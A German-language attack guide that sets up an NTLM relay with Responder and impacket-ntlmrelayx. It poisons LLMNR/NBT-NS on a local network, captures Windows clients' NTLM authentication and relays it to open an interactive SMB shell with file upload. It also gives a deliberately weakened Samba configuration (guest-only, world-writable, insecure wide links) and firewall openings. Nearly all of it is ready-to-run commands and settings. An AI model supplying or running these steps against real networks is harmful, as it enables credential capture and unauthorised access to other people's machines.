NTLM-Relay auf Samba-Freigabe mit Impacket

Funktionierender NTLM-Relay auf Samba mit Impacket

Ziel

Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.

Korrigierte Samba-Konfiguration

[global]
   workgroup = WORKGROUP
   server role = standalone server
   security = user
   passdb backend = tdbsam
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
   ntlm auth = yes  # Neu hinzugefügt
   allow insecure wide links = yes  # Neu hinzugefügt
   guest account = nobody

[share]
   path = /mnt/media/share
   read only = no
   guest ok = yes
   guest only = yes  # Neu hinzugefügt
   browseable = yes
   force user = nobody
   create mask = 0777
   directory mask = 0777

Systemvorbereitung

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd nmbd

# Firewall anpassen:
ufw allow 445/tcp
ufw allow 137:138/udp

Angriffsablauf

1. Responder starten

responder -I eth0 -w -d --disable-ess

2. NTLM-Relay starten

impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
--remove-mic --no-wcf-server --no-raw-server --force-forward

3. Angriff auslösen

Auf Windows-Client:

\\NICHTEXISTIERENDE-FREIGABE

Erfolgskriterien

1. Responder zeigt eingefangene NTLM-Hashes
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
3. Interaktive SMB-Shell wird geöffnet
4. Datei-Upload möglich (upload BEFEHL)

Troubleshooting

Problem ! Lösung
LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
Samba-Logs prüfen (/var/log/samba/log.smbd)
SMB-Ports (445/tcp) freigeben

Wichtige Änderungen

• »map to guest« auf »Bad Password« geändert
• »ntlm auth = yes« explizit aktiviert
• »allow insecure wide links« hinzugefügt
• Firewall-Regeln angepasst
• »--force-forward« Parameter hinzugefügt